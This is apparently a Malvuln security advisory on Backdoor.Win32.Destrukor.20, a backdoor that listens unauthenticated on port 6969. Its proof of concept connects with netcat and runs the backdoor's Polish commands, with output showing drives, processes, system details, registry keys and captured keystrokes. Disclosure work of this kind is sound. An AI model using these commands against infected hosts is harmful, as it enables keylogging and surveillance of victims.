Backdoor.Win32.Destrukor.20 / Unauthenticated Remote Command Execution

[malvuln <malvuln13 () gmail com>]

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source:
https://malvuln.com/advisory/c790749f851d48e66e7d59cc2e451956_B.txt
Contact: malvuln13 () gmail com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Destrukor.20
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 6969. Third-party adversaries
who can reach infected hosts can run commands made available by the
backdoor. Remote attackers can read anything the victim types by starting
the remote key log command "key_on". Some commands in Polish include
"podglad", "dyski", "procesy", "wywiad", "rej_klucze1", "offserver" and
many others.
Family: Destrukor
Type: PE32
MD5: c790749f851d48e66e7d59cc2e451956
Vuln ID: MVID-2022-0627
Dropped files: sys32.exe
Disclosure: 07/30/2022


Exploit/PoC:
C:\>nc64.exe x.x.x.x 6969
podglad
podglad_ok140922

dyski
C:\ - Dysk lokalny
D:\ - CD-ROM

procesy
procesy
C:\Windows\System32\sihost.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32\taskhostw.exe
C:\Windows\System32\ctfmon.exe
C:\Windows\explorer.exe
C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe
C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe
C:\Program Files\Process Hacker 2\ProcessHacker.exe
C:\Windows\System32\vm3dservice.exe
C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
C:\Windows\System32\cmd.exe
C:\Windows\System32\conhost.exe
C:\Windows\System32\cmd.exe
C:\Windows\System32\conhost.exe
C:\Windows\System32\taskhostw.exe
C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\dllhost.exe
C:\Windows\System32\cmd.exe
C:\Windows\System32\conhost.exe
C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
C:\Windows\sys32.exe

wywiad\r\n
wywiad
Windows 10 Enterprise
gg
DESKTOP-2C3IQHO
192.168.18.125
2852
12778
C:\WINDOWS
2.0.0

rej_klucze1
AppEvents
AppXBackupContentType
Console
Control Panel
Environment
EUDC
Keyboard Layout
Network
Printers
Software
System
Volatile Environment

key_on
@N@O@T@E@P@A@D@[Enter]
@[L Ctrl]@A@[<-BckSpc]@[L Shift]@I@ @[L Shift]@D@O@N@T@ @L@I@K@E@ @Y@O@U@1
  ===> "I DONT LIKE YOU"

offserver

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